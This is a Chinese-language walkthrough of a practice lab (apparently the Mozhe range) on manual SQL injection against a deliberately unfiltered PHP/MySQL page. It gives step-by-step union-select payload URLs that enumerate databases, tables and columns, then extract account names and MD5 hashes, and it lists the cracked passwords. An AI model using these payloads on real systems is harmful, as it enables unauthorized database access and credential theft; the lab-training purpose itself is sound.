Background
安全工程师”墨者”最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
检测SQL注入点
发现一个维护公告链接
基于报错的检测
先在链接后的id=1加入 ‘,查看页面反应
发现页面没有任何显示,可能存在SQL注入
基于布尔值判断
1 | http://mozhe.cn/new_list.php?id=1 and 1=1 正常显示 |
那么可以判段存在SQL注入
判断select字段个数
1 | http://mozhe.cn/new_list.php?id=1 order by 4 |
当order by语句中数值大于4,页面不显示,说明select语句中有4个字段
查询数据库信息
先判断页面中会显示的字段位置
1 | http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2,3,4 |
判断出2,3字段的位置会在页面显示,因此可以开始构造sql语句了
查询数据库名,版本
1 | http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,database(),version(),4 |
数据库名:mozhe_Discuz_StormGroup
版本: 5.7.22-0ubuntu0.16.04.1
这里也可以用CONCAT_WS函数
1 | http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),4 |
获取数据库名
1 | http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2 ,table_schema,4 from information_schema.tables limit 1,1 |
通过修改limit值获得所有数据库名称
获得5个数据库名称
information_schema、 mozhe_Discuz_StormGroup、 mysql、 performance_schmozhe.cn
1 | http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2 ,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1 |
mozhe_Discuz_StormGroup库的表名:StormGroup_member、 notice
获取数据库列名
1 | http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,2 ,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1 |
StormGroup_member表的列名: id、 name、 password、 status
获取字段内容(账号密码)
1 | http://mozhe.cn/new_list.php?id=1 and 1=2 union select 1,name,password,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1 |
账号密码(MD5在线破解)
mozhe 356f589a7df439f6f744ff19bb8092c0 —-dsan13
mozhe c0b11cc529cd469efe3c3333e2bcc3db —-346753